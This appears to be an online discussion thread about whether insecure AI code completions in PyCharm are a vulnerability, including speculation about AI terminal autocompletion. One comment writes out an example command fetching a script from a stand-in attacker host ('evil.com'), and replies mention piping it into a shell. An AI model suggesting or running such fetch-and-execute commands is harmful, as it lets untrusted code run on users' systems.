alt.hn

6/11/2026 at 1:26:03 AM

Are insecure code completions in PyCharm a vulnerability?

https://sethmlarson.dev/are-insecure-code-completions-a-vulnerability

by 12_throw_away

6/11/2026 at 6:32:24 AM

Waiting for the first terminal with AI autocompletion.

  $ curl http<tab>

  $ curl https://evil.com/run.sh
Then you’re just an enter away from causing havoc on your system.

by sph

6/11/2026 at 6:39:20 AM

Well, technically it's not the curl itself that is the problem, but the "| <shell>" coming afterwards that does the damage. So, if the process is somehow broken up into 1) curl <the_script>; 2) analyse <the_script> and 3) only if safe, then execute <the_script> -- then it's not nearly as bad. Of course, that "analyse" step does all the heavy lifting, and if it happens to involve some form of local LLM then... excitement is guaranteed as they say.

by mgc8

6/11/2026 at 9:31:24 AM

curl can do evil things by itself due to terminal escape codes - a popular one was to set the title and then read the title back, which effectively types text into the terminal

by inigyou

6/11/2026 at 4:59:19 PM

Ah, the xterm "read title" bug, I seem to remember that was fixed some while ago, wasn't it? But yes, that is true, it's possible to exploit anything with enough determination; it wasn't that long ago that "viruses in image files" was a joke, but then we had the Android wallpaper bricker a few years ago... In the meantime, we have a few more layers of indirection between the code and the user, each one of them adding potential surfaces.

by mgc8

6/11/2026 at 6:36:14 AM

Still missing the pipe into sh.

by chmod775

6/11/2026 at 7:19:29 AM

Good thing that isn't a popular pattern that would make its way into the training data!

by ares623

6/11/2026 at 6:43:53 AM

Ah too late to edit. That is what I meant

by sph

6/11/2026 at 6:42:23 AM

Maybe not a vulnerability per se, but definitely conducing to ones, as others have noted. However, those completions are quite unfortunate to say the least, thus one would hope JetBrains would endeavour to improve the local (S)LM they're using, or at least offer the user the option to use one of their own, better tuned ones instead?

by mgc8

6/11/2026 at 5:38:33 AM

It’s an interesting question: I’d say this is more of a vulnerability creator than the actual vulnerability.

Similar to how using very difficult technologies makes you more likely to create code with vulnerabilities: the technologies are not the vulnerability, but it’s easier to cause them.

by stephantul

6/11/2026 at 7:30:46 AM

I have this line completion feature in koieditor.com as well, and it's hard to suggest "safe"/good completions at a low latency. Best approach I could think of is a second pass to verify first pass, but adds to latency, or change to better model, which often also impacts latency.

by hackermanai

6/11/2026 at 4:26:11 AM

Well, the plugin developers can't really do anything about it.

And it's the one thing the LLM developers have been trying to fix for the last 2 years. Apparently, even at the cost of some other functionality. It's not like they can do it reliably.

by marcosdumay

6/11/2026 at 6:34:49 AM

It's only a vulnerability if you absolve humans of responsibility and demote them to "meatbag vehicle for checking in LLM code".

by chmod775

6/11/2026 at 6:21:06 AM

What is “monster-in-the-middle” and why is it being used in place of (presumably) “man-in-the-middle”?

by frumplestlatz